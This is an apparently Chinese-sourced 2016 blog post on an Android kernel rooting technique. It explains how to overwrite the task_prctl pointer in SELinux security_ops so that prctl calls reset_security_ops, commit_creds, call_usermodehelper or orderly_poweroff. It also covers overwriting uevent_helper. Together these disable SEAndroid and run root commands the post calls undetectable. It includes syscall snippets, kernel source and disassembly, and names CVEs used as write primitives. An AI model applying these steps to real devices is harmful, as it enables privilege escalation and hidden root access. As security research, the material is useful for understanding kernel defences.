2016-11-17

Proposing new kernel attack technique

Proposing new kernel attack technique

1.Search for callable function inside FPT structure (ptmx, securityops, defaultsecurity_ops)

2.User input has to be transferred without modification (intact) // 用户输入不能被修改,必须被完整的输入。

Select function pointer(within kernel) to call without ROP

1.taskprctl function pointer from selinuxops meets all criteria

2.user inputs were passed though without modification

kernel/sys.c:

SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
  unsigned long, arg4, unsigned long, arg5)
{
 struct task_struct *me = current;
 struct task_struct *tsk;
 unsigned char comm[sizeof(me->comm)];
 long error;

 error = security_task_prctl(option, arg2, arg3, arg4, arg5);
 if (error != -ENOSYS)
  return error;

 error = 0;
 ...
}

PXN bypass attack without ROP

When only partial memory value can be increased/decresed

CVE-2013-2094 perfeventopen

1.call resetsecurityops by increasing address of captaskprctl

2.call commit_creds


Direction Type Address                         Text                        
--------- ---- -------                         ----                        
Up        p    ____call_usermodehelper+130     BL              commit_creds
Up        p    set_current_groups+38           BL              commit_creds
Up        p    install_exec_creds+20           BL              commit_creds
Up        p    keyctl_change_reqkey_auth+50    BL              commit_creds
Up        p    keyctl_set_reqkey_keyring+98    BL              commit_creds
Up        p    join_session_keyring+90         BL              commit_creds
Up        p    join_session_keyring+118        BL              commit_creds
Up        p    lookup_user_key:loc_C0390D70    BL              commit_creds
Up        p    lookup_user_key+420             BL              commit_creds
Up        p    key_replace_session_keyring+1A0 BL              commit_creds
          p    cap_task_prctl+198              BL              commit_creds
Down      p    selinux_setprocattr+120         BL              commit_creds

int cap_task_prctl(int option, unsigned long arg2, unsigned long arg3,
     unsigned long arg4, unsigned long arg5)
{
 struct cred *new;
 long error = 0;

 new = prepare_creds();
 ...

changed:
 return commit_creds(new);
}

ROM:C0393754 cap_task_prctl
ROM:C0393754
ROM:C0393754                 MOV             R12, SP
ROM:C0393758                 STMFD           SP!, {R3-R6,R11,R12,LR,PC}
...
ROM:C03938E8                 MOV             R0, R5
ROM:C03938EC                 BL              commit_creds
...

When we have total control over memory

CVE-2014-3153 futexrequeue CVE-2013-6282 get/putuser CVE-2015-0815 pipe

Change the value of taskprctl within selinuxops to kernel function address we want to call

1.Turn off SEAndroid and call commitcreds after calling preparekernel_cred

// change task_prctl within selinux_ops to address of reset_security_ops
syscall(172); /* 172 = sys_prctl *//* reset_security_ops() call */
[...]
// change task_prctl within selinux_ops to address of prepare_kernel_cred
cred_addr=syscall(172, 0); /* prepare_kernel_cred(0) call */
[...]
// change task_prctl within selinux_ops to address of commit_creds
syscall(172,cred_addr); /* commit_creds(cred_addr) call */

2.Calling taskprctl after overwriting its value to the address of commitcreds

// change task_prctl within selinux_ops to address of commit_creds
// we don’t need to call prepare_kernel_cred if we provide init_cred address as a parameter
syscall(172,&init_cred);

3.We can indirectly call overridecreds function by calling taskprctl

// change task_prctl within selinux_ops to address of override_creds
[...]
void *cred_ptr=(void *)mmap(0x80000,0x100,...);
*(long *)&cred_ptr[0]=cred_addr;
[...]
syscall(172,0x80000);

kernel thread command execution

call_usermodehelper API

static inline int
call_usermodehelper(char *path, char **argv, char **envp, int wait)
{
 return call_usermodehelper_fns(path, argv, envp, wait,
           NULL, NULL, NULL);
}

static inline int
call_usermodehelper_fns(char *path, char **argv, char **envp, int wait,
   int (*init)(struct subprocess_info *info, struct cred *new),
   void (*cleanup)(struct subprocess_info *), void *data)
{
 struct subprocess_info *info;
 gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

 // Set the argument, environment variables, handlers to run within kernel memory
 info = call_usermodehelper_setup(path, argv, envp, gfp_mask);

 if (info == NULL)
  return -ENOMEM;

 call_usermodehelper_setfns(info, init, cleanup, data);

 //  Register sub_info->work to khelper_wq queue
 return call_usermodehelper_exec(info, wait);
}

struct subprocess_info *call_usermodehelper_setup(char *path, char **argv,
        char **envp, gfp_t gfp_mask)
{
 ...
 INIT_WORK(&sub_info->work, __call_usermodehelper);
 ...
}

static void __call_usermodehelper(struct work_struct *work)
{
 ...
 if (wait == UMH_WAIT_PROC)
  pid = kernel_thread(wait_for_helper, sub_info,
        CLONE_FS | CLONE_FILES | SIGCHLD);
 else
  pid = kernel_thread(____call_usermodehelper, sub_info,
        CLONE_VFORK | SIGCHLD);
    ...
}

static int ____call_usermodehelper(void *data)
{
 ...
 retval = kernel_execve(sub_info->path,
          (const char *const *)sub_info->argv,
          (const char *const *)sub_info->envp);
    ...
}

// call do_execve function and execute user application
int kernel_execve(const char *filename,
    const char *const argv[],
    const char *const envp[])
{
 ...
 ret = do_execve(filename,
   (const char __user *const __user *)argv,
   (const char __user *const __user *)envp, &regs);
 ...
}

Bypassing PXN by calling call_usermodehelper

1.search for captaskprctl table address from security_ops structure

2.change captaskprctl value to resetsecurityops’s address

3.first calling prctl function will turn off SEAndroid

4.change captaskprctl value to call_usermodehelper’s address

5.second calling prctl function will run kernel thread command with admin priv

6.it runs as child process of kworker -> UNDETECTABLE

Kernel Protection bypass

use codes that indirectly call call_usermodehelper APIs

static int call_modprobe(char *module_name, int wait)
{
 static char *envp[] = {
  "HOME=/",
  "TERM=linux",
  "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
  NULL
 };

 char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
 if (!argv)
  goto out;

 module_name = kstrdup(module_name, GFP_KERNEL);
 if (!module_name)
  goto free_argv;

 argv[0] = modprobe_path;
 argv[1] = "-q";
 argv[2] = "--";
 argv[3] = module_name; /* check free_modprobe_argv() */
 argv[4] = NULL;

 return call_usermodehelper_fns(modprobe_path, argv, envp,
  wait | UMH_KILLABLE, NULL, free_modprobe_argv, NULL);
free_argv:
 kfree(argv);
out:
 return -ENOMEM;
}

int orderly_poweroff(bool force)
{
 int argc;
 char **argv = argv_split(GFP_ATOMIC, poweroff_cmd, &argc);
 static char *envp[] = {
  "HOME=/",
  "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
  NULL
 };
 ...
 info = call_usermodehelper_setup(argv[0], argv, envp, GFP_ATOMIC);
 if (info == NULL) {
  argv_free(argv);
  goto out;
 }

 call_usermodehelper_setfns(info, NULL, argv_cleanup, NULL);

 ret = call_usermodehelper_exec(info, UMH_NO_WAIT);

 ...
}

...

Bypassing kernel protection by calling call_usermodehelper without parameters

1.orderly_poweroff seems to work pretty well

2.Bypassing kernel protection by calling call_usermodehelper indirectly

3.Change poweroff_cmd variable value to location of variable we want to run

4.Turn off SEAndroid and change whatever FPT to address of orderly_poweroff

5.At calling prctl, desired process will run as admin in kernel thread

6.it runs as child process of kworker -> UNDETECTABLE

the easiest kernel protection bypass

Bypassing kernel protection by overwriting uevent_helper

1.Hotplug is automatically run by kobjectuevnetenv function

2.we can execute commands by overwriting uevent_helper without changing ops structure

int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
         char *envp_ext[])
{
 // uevent_helper = CONFIG_UEVENT_HELPER_PATH = "/sbin/hotplug"
 ...
 argv [0] = uevent_helper;
 argv [1] = (char *)subsystem;
 argv [2] = NULL;
 ...
 retval = call_usermodehelper(argv[0], argv,
          env->envp, UMH_WAIT_EXEC);
    ...
}

没有评论:

发表评论

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...